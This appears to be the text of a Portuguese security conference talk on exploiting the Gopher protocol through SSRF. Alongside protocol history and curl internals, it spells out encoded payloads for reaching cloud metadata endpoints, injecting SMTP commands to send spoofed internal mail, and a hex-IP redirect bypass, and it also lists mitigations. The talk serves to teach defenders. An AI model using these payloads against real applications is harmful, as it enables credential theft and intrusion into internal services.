
Behind the hacking: 
Exploitation with Gopher 
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gopher://127.0.0.1:70/_/whoami
1wNome   /whoami/[(W)es]ley Sampaio localhost 70

1wAtuação  /whoami/Detecções de ameaças localhost 70

1wCuriosidade /whoami/Gambiarras localhost 70

1wCuriosidade /whoami/Hacking  localhost 70

1wCuriosidade /whoami/Gatos localhost 70

U+1F441 U+1F441

Linkedisney



OBJETIVOS

CONCEITOS 
ESSENCIAIS 

NADA ESTÁ MORTO 
PARA O HACKING!

ENTENDENDO 
IMPACTOS



INTRODUÇÃO
Esta palestra nasceu devido um desejo 
incessante de buscar “como as coisas 
realmente funcionam”, onde muitas pessoas 
utilizavam o protocolo Gopher em etapas de 
exploração, mas não era demonstrado o motivo 
daquilo funcionar.











MAS O QUE É GOPHER ?



MAS O QUE É GOPHER ?

https://datatracker.ietf.org/doc/html/rfc1436



RFC-1436: The Internet Gopher Protocol

Gopher Protocol:
● Criado em 1991, por estudantes na universidade de Minnesota.
● Interoperabilidade com qualquer protocolo (da época).
● Arquitetura cliente-servidor;
● Objetivo de ser extremamente leve e simples;

Breve cenário da época ( 90s ):
● Taxas de transferência era em média 56 Kbps;
● Um mundo em CLI e texto-simples;
● Navegando por emails, fóruns (BBS) e servidores FTP;
● Difícil acesso a informação (mas com alta qualidade);



1991: Início de um sonho!



1992: Disponibilização do Lynx



1992: Disponibilização do Lynx



1993: Mosaic Browser



1993: Tá duro, dorme!



1993: A morte de um sonho!



1999: Floodgap Systems



CLIENTE SERVIDOR <------------------------>

Usuários

Gopherd

HTTPd

FTPd

WAIS

Archie

Camada de tradução



TCP HANDSHAKE
—---------------------->
<-----------------------

CLIENTE SERVIDOR



%0D%0A → CRLF → Enter

LINUX / MACOS

%0A →\n → LF → Enter

WINDOWS

%0D%0A →\r\n → CRLF → Enter

TCP HANDSHAKE
—---------------------->
<-----------------------

CLIENTE SERVIDOR

CLIENTE SERVIDOR



%0D%0A → CRLF → Enter
—---------------------->

TCP HANDSHAKE
—---------------------->
<-----------------------

CLIENTE SERVIDOR

CLIENTE SERVIDOR



%0D%0A → CRLF → Enter
—---------------------->

LISTA DE LINKS
<-----------------------

TCP HANDSHAKE
—---------------------->
<-----------------------

<gophertype><title>%0A<itempath>%0A<host>%0A<port>
0quake   /archive/aix-games/quake/README.txt    gopher.floodgap.com 70

CLIENTE SERVIDOR

CLIENTE SERVIDOR

CLIENTE SERVIDOR

http://gopher.floodgap.com


telnet  gopher.floodgap.com 70

/archive/aix-games/quake/README.txt



foo://user:pass@example.com:8042/over/there?name=ferret#nose
 \_/   \____________________________________/\____________/ \_____________/ \____/
   |                |               |        |                   |        
scheme     authority            path        query      fragment

URI Syntax Components ( RFC 3986 )



foo:                  example.com:8042                         /over/there
 \_/                     \______________________/                        \____________/ 
     |                     |         |        
     scheme               authority           path

URI Syntax Components ( RFC 3986 )

http 
file
dict

gopher
php

127.0.0.1:8042
localhost:8042

127.1234567:8042
[::ffff:127.0.0.1]:8042

user:pass@localhost:8042

/admin
/../../../../etc/passwd

/1/book
/_%0D%0ASET%20



Gopher URI Scheme ( RFC 4266 )

 gopher://<host>:<port>/<gopher-path>
\________/     \____________/  \_____________/
      |             |              |
scheme authority path



gopher://<host>:<port>

/<gopher-path>

<gophertype><selector>
   |
   |+--->

Gopher URI Scheme ( RFC 4266 )



gopher://<host>:<port>

/<gopher-path>

<gophertype><selector>
   |
   |+--->

Gopher URI Scheme ( RFC 4266 )

 1  - Item is a directory
9  - Item is a binary file!
0  - Item is a file

*Client decides how to display.

|
|+----->



gopher://<host>:<port>

/<gopher-path>

<gophertype><selector>
   |
   |+--->

Gopher URI Scheme ( RFC 4266 )

* GOPHER: 

/archive/aix-games/quake/README.txt

HTTP: 

GET / HTTP/1.1

host: axesec.cc

FTP: 

USER ensi2026 

PASS axesec 



gopher://<host>:<port>

/<gopher-path>

<gophertype><selector>
   |
   |+--->

Gopher URI Scheme ( RFC 4266 )

* GOPHER: 

/archive/aix-games/quake/README.txt

HTTP: 

GET%20%2F%20HTTP%2F1%2E1%0D%0AHost%3

A%20axesec%2Ecc%0D%0A%0D%0A

FTP: 

USER%20ensi2026%0D%0APASS%20axesec%0D

%0A

* RFC-3986: Percent-Encoding



gopher://<host>:<port>

Gopher URI Scheme ( RFC 4266 )

gopher://axesec.cc:70/

0

/archive/aix-games/quake/README.txt

<gophertype>

<selector>



RAFAEL SAGULA: BRASILEIRO NO MARCO INICIAL DO CURL

https://curl.se/docs/history.html



2010: A HISTÓRIA COMEÇA AQUI



Gopher.cHttp.c
CURL Protocol Handler



Gopher.cHttp.c
CURL Protocol Handler

curl -v http://localhost:1337
* Host localhost:1337 was resolved.
* Connected to localhost (127.0.0.1) port 1337

> GET / HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/8.5.0

nc -lvp 1337
Connection received on localhost 47598

GET / HTTP/1.1
Host: localhost:1337
User-Agent: curl/8.5.0

curl -v gopher://localhost:1337
* Host localhost:1337 was resolved.
* Connected to localhost (127.0.0.1) port 1337

nc -lvp 1337
Connection received on localhost 47598



Gopher.cHttp.c
CURL Protocol Handler

curl -v http://localhost:1337
* Host localhost:1337 was resolved.
* Connected to localhost (127.0.0.1) port 1337

> GET / HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/8.5.0

nc -lvp 1337
Connection received on localhost 47598

GET / HTTP/1.1
Host: localhost:1337
User-Agent: curl/8.5.0

curl -v 
gopher://localhost:1337/_GET%20/%20HTTP/1.1%
0AHost:%20localhost:1337%0AUser-Agent:%20curl
/8.5.0%0A
* Host localhost:1337 was resolved.
* Connected to localhost (127.0.0.1) port 1337

nc -lvp 1337
Connection received on localhost 60592

GET / HTTP/1.1
Host: localhost:1337
User-Agent: curl/8.5.0



Gopher.cHttp.c
CURL Protocol Handler

curl -v http://localhost:25
* Host localhost:25 was resolved.
* IPv4: 127.0.0.1
* Connected to localhost (::1) port 25
> GET / HTTP/1.1
> Host: localhost:25
> User-Agent: curl/8.5.0

* Received HTTP/0.9 when not allowed
* Closing connection
curl: (1) Received HTTP/0.9 when not allowed

curl -v gopher://localhost:25/_EHLO%20localhost
* Host localhost:25 was resolved.
* IPv4: 127.0.0.1
* Connected to localhost (::1) port 25

220 localhost ESMTP Postfix (Ubuntu)
250-localhost
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING



Gopher.c - Protocol Handler



LIBCURL: BIBLIOTECA PARA DESENVOLVIMENTO

https://curl.se/libcurl/



PHP https://php.net/curl

NodeJS https://github.com/JCMais/node-libcurl

Go https://github.com/andelf/go-curl

.NET https://github.com/masroore/CurlSharp

Python https://github.com/pycurl/pycurl

Ruby https://github.com/taf2/curb

Java https://github.com/covers1624/curl4j

Lua-cURL https://github.com/Lua-cURL/Lua-cURLv3

… …https://curl.se/libcurl/bindings.html



NADA ESTÁ MORTO
PARA O HACKING!



+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

|
|
v

https://web-app.com/load-image?url=https%3A%2F%2Fstorage.googleapis.com%2F
photo.png

ACESSO COMUM A APLICAÇÃO



|
|
|
|
|
V

 +---------------+
 │    WAF  │ 
 +---------------+

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

|
|
v

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

https://web-app.com/load-image?url=https%3A%2F%2Fstorage.googleapis.com%2F
photo.png

GET /load-image?url=https%3A%2F%2Fstorage.googleapis.com%2Fphoto.png 
HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

ACESSO COMUM A APLICAÇÃO



 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
|
|
|
V

 +---------------+
 │    WAF  │ 
 +---------------+

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

|
|
v

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+

|
v

GET /photo.png HTTP/1.1
Host: storage.googleapis.com

https://web-app.com/load-image?url=https%3A%2F%2Fstorage.googleapis.com%2F
photo.png

GET /load-image?url=https%3A%2F%2Fstorage.googleapis.com%2Fphoto.png 
HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

ACESSO COMUM A APLICAÇÃO



+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+

|
|
v

|
|
|
|
|
V

|
v

---------------------------->

<—----------------------------

^
|

^
|
|
|
|
|

^
|
|

 +---------------+
 │    WAF  │ 
 +---------------+

GET /photo.png HTTP/1.1
Host: storage.googleapis.com

https://web-app.com/load-image?url=https%3A%2F%2Fstorage.googleapis.com%2F
photo.png

GET /load-image?url=https%3A%2F%2Fstorage.googleapis.com%2Fphoto.png 
HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

ACESSO COMUM A APLICAÇÃO



SSRF 101

+----------------+           +-----------------------+          +------------------+
|                |    1º     |                       |    2º    |                  |
|   ATACANTE     |---------->|     APLICAÇÃO WEB     |--------->|  SERVIÇO INTERNO |
|   (Externo)    |           |      VULNERÁVEL       |          | (ex: Redis, SMTP |
|                |<----------|                       |<---------|    Banco, API)   |
+----------------+    4º     +-----------------------+    3º    +------------------+
 

SSRF é uma vulnerabilidade de segurança web que permite a um atacante induzir o servidor a fazer 
requisições HTTP para um domínio ou sistema de sua escolha, que seria inacessível diretamente (como 
sistemas internos da rede).

DIRECT SSRF 

O atacante fornece uma URL e recebe a resposta 
que o servidor obteve ao fazer a requisição. 

BLIND SSRF 

A requisição acontece, mas a aplicação não 
responde com resultado. Detecta-se a ocorrência 
por efeitos colaterais.



https://web-app.com/load-image?url=http://metadata.google.internal/computeMeta
data/v1

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
v

|
V

GET /load-image?url=http://metadata.google.internal/computeMetadata/v1 HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

 +---------------+
 │    WAF  │ 
 +---------------+

SSRF 101

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+



https://web-app.com/load-image?url=http://metadata.google.internal/computeMet
adata/v1

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
v

|
V
X

GET /load-image?url=http://metadata.google.internal/computeMetadata/v1 HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

 +---------------+
 │    WAF  │ 
 +---------------+

^
|

SSRF 101

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+



https://web-app.com/load-image?url=http://metadata.google.internal/computeMeta
data/v1

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
v

 +---------------+
 │    WAF  │ 
 +---------------+

|
|
|
|
|
V

GET /load-image?url=http://metadata.google.internal/computeMetadata/v1 HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

SSRF 101

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+

GET /computeMetadata/v1  HTTP/1.1
Host: metadata.google.internal



GET /computeMetadata/v1  HTTP/1.1
Host: metadata.google.internal

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
v

 +---------------+
 │    WAF  │ 
 +---------------+

|
|
|
|
|
V

GET /load-image?url=http://metadata.google.internal/computeMetadata/v1 HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

^
|
|
|
|
|

^
|
|

SSRF 101
https://web-app.com/load-image?url=http://metadata.google.internal/computeMeta
data/v1

+--------------+ 
│   SERVIÇO  │ 
│ INTERNO  │
+--------------+

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+

<--+|
    |
    |
    |
    |
    |
    |+-->
  



GET /computeMetadata/v1  HTTP/1.1
Host: metadata.google.internal

GET /load-image?url=http://metadata.google.internal/computeMetadata/v1 HTTP/1.1
Host: web-app.com
User-Agent: Mozilla/x.xx.x
Accept: text/html
Authorization: Bearer eyJBWMOJU0VDIjogIkhBQ0tCQUhJQSJ9

https://web-app.com/load-image?url=http://metadata.google.internal/computeMeta
data/v1

+---------------+
│ BROWSER / CLI │
+---------------+

 +--------------+
 │   USUÁRIO    │  
 +--------------+

 +---------------+
 │   APLICAÇÃO  │ 
 │    WEB  │
 +---------------+

|
|
v

 +---------------+
 │    WAF  │ 
 +---------------+

|
|
|
|
|
V

|
v

SSRF 101

+---------------+ 
│   PROVEDOR │ 
│ SERVIÇO │
+---------------+



https://web-app.com/load-image?url=
  |  gopher://metadata.google.internal:80/
  | _GET /computeMetadata/v1/ HTTP/1.1\r\n  
  | Metadata-Flavor: Google\r\n
  |
  |
  |
 V

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

SSRF / GOPHER: CLOUD ACCESS METADATA



https://web-app.com/load-image?url=
  |  gopher://metadata.google.internal:80/
  |      |+ _GET /computeMetadata/v1/ HTTP/1.1\r\n  
  |      |+ Metadata-Flavor: Google\r\n

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

 +--------------+
 │  Segunda   |
 |  Requisição  |
 +--------------+

 |
+----------->

  |
  |
  |
 V

SSRF / GOPHER: CLOUD ACCESS METADATA



https://web-app.com/load-image?url=
  |  gopher://metadata.google.internal:80/
  |      |+ _GET /computeMetadata/v1/ HTTP/1.1\r\n  
  |      |+ Metadata-Flavor: Google\r\n
  |
  |
  |
 V

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

 +--------------+
 │  Segunda   |
 |  Requisição  |
 +--------------+

 |
+----------->

https://web-app.com/load-image?url=gopher%
3A%2F%2Fmetadata%2Egoogle%2Einternal%3
A80%2F%5FGET%2520%2FcomputeMetadata
%2Fv1%2F%2520HTTP%2F1%2E1%250AMeta
data%2DFlavor%3A%2520Google%2E1%250A

SSRF / GOPHER: CLOUD ACCESS METADATA



SSRF / GOPHER: CLOUD ACCESS METADATA
AWS

GCP

AZURE

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
 X-aws-ec2-metadata-token: $TOKEN

GET /computeMetadata/v1/ HTTP/1.1
Host: 169.254.169.254
Metadata-Flavor: Google

GET /metadata/instance?api-version=2025-04-07 HTTP/1.1
Host: 169.254.169.254
Metadata: true

IBM PUT /identity/v1/token? version=$version HTTP/1.1
Host: api.metadata.cloud.ibm.com
Metadata-Flavor: IBM



SSRF / GOPHER: INTERNAL MAIL PHISHING
https://web-app.com/load-image?url=
  |+ gopher://127.0.0.1:25/

  |+
|+
_HELO empresa-alvo.com
MAIL FROM: <admin@empresa-alvo.com>
RCPT To: <fulano@empresa-alvo.com>
DATA
Subject: GopherAttack!
Email was compromised by Gophers!
.
QUIT

RFC-5321 
(SMTP)



SSRF / GOPHER: INTERNAL MAIL PHISHING
https://web-app.com/load-image?url=
  |+ gopher://127.0.0.1:25/

  |+
|+

_HELO empresa-alvo.com
MAIL FROM: <admin@empresa-alvo.com>
RCPT To: <fulano@empresa-alvo.com>
DATA
Subject: GopherAttack!
Email was compromised by Gophers!
.
QUIT https://web-app.com/load-image?url=gopher%3A%2F%2F127.0.0

.1%2E%3A25%2F%5FHELO%2520empresa%2Dalvo%2Ecom%25
0AMAIL%2520FROM%3A%2520%253Cadmin%40empresa%2Dal
vo%2Ecom%253E%250ARCPT%2520To%3A%2520%253Cfulano
%40empresa%2Dalvo%2Ecom%253E%250ADATA%250ASubject
%3A%2520GopherAttack%21%250AEmail%2520was%2520com
promised%2520by%2520Gophers%21%250A%2E%250AQUIT%
250A



SSRF / GOPHER: INTERNAL MAIL PHISHING

https://corben.io/blog/17-12-17-hackertarget



SSRF / GOPHER: INTERNAL MAIL PHISHING



ISSO REALMENTE TORNA A APLICAÇÃO 
SEGURA???

1. Só permitir requisições para domínios ou IPs previamente autorizados.

2. Bloquear IPs internos e loopback;

3. Resolver DNS antes de fazer a requisição;

4. Definir timeout e limitar métodos;



SSRF / GOPHER: REDIRECT BYPASS (OOB)

PHP

APACHE

172.16.0.3

ATACANTE



PHP

APACHE

172.16.0.3

Supabase

Azure Web Apps

Vercel

ATACANTE

Sua aplicação

SSRF / GOPHER: REDIRECT BYPASS (OOB)



PHP

APACHE

172.16.0.3

Supabase

Azure Web Apps

Payload com redirecionamento

Vercel

ATACANTE

Sua aplicação

SSRF / GOPHER: REDIRECT BYPASS (OOB)

Location: gopher://0xC0A81001:25/



PHP

APACHE

172.16.0.3

Supabase

Azure Web Apps

Payload com redirecionamento

Vercel

ATACANTE

Sua aplicação

SSRF / GOPHER: REDIRECT BYPASS (OOB)

Location: gopher://0xC0A81001:25/

FTP

MYSQL

172.16.0.2

SMTP



PHP

APACHE

172.16.0.3

Supabase

Azure Web Apps

Payload com redirecionamento

Vercel

ATACANTE

Sua aplicação

SSRF / GOPHER: REDIRECT BYPASS (OOB)

Location: gopher://0xC0A81001:25/

FTP

MYSQL

172.16.0.2

SMTP



https://web-app.com/load-image?url=
  |      |+  https://xxxxxxxx.<trusted>.com/redirect-code.php
  |      |  
  |      |

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

 +--------------+
 │  Segunda   |
 |  Requisição  |
 +--------------+

 |
+----------->

  |
  |
  |
 V

SSRF / GOPHER: REDIRECT BYPASS (OOB)



https://web-app.com/load-image?url=
  |      |+  https://xxxxxxxx.<trusted>.com/redirect-code.php
  |      |  
  |      |

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

 +--------------+
 │  Segunda   |
 |  Requisição  |
 +--------------+

 |
+----------->

  |
  |
  |
 V

  |
  |
  |
  | 
 V

Location: 
gopher://0xC0A81001:25/_

 +--------------+
 │  Terceira   |
 |  Requisição  |
 +--------------+

  | 
  |+---->

SSRF / GOPHER: REDIRECT BYPASS (OOB)



https://web-app.com/load-image?url=
  |      |+  https://xxxxxxxx.<trusted>.com/redirect-code.php
  |          |  
  |      |

 +--------------+
 │  Primeira   |
 |  Requisição  |
 +--------------+

 +--------------+
 │  Segunda   |
 |  Requisição  |
 +--------------+

 |
+---->

  |
  |
  |
 V

  |
  |
  |
  |
  | 
 V

Location: gopher://0xC0A81001:25_
 +--------------+
 │  Terceira    |
 |  Requisição  |
 +--------------+

| 
|+-->

HELO empresa-alvo.com
MAIL FROM: 
<admin@empresa-alvo.com>
RCPT To: <fulano@empresa-alvo.com>
DATA
Subject: GopherAttack!
Email was compromised by Gophers!
.
QUIT

+---->

 +--------------+
 │  Quarta  |
 |  Requisição  |
 +--------------+

  |
  | 
 V

SSRF / GOPHER: REDIRECT BYPASS (OOB)



Obrigado SAVE THE DATE: 30/01/2027

AXÉ SEC:

● https://axesec.cc

● https://www.instagram.com/axesec/

OXUM HACKER CONF

● https://www.instagram.com/oxumhc

● https://www.linkedin.com/company/oxumhackerconf

RAUL HACKER CLUB

● https://raulhc.cc

● https://www.instagram.com/raulhackerclub/


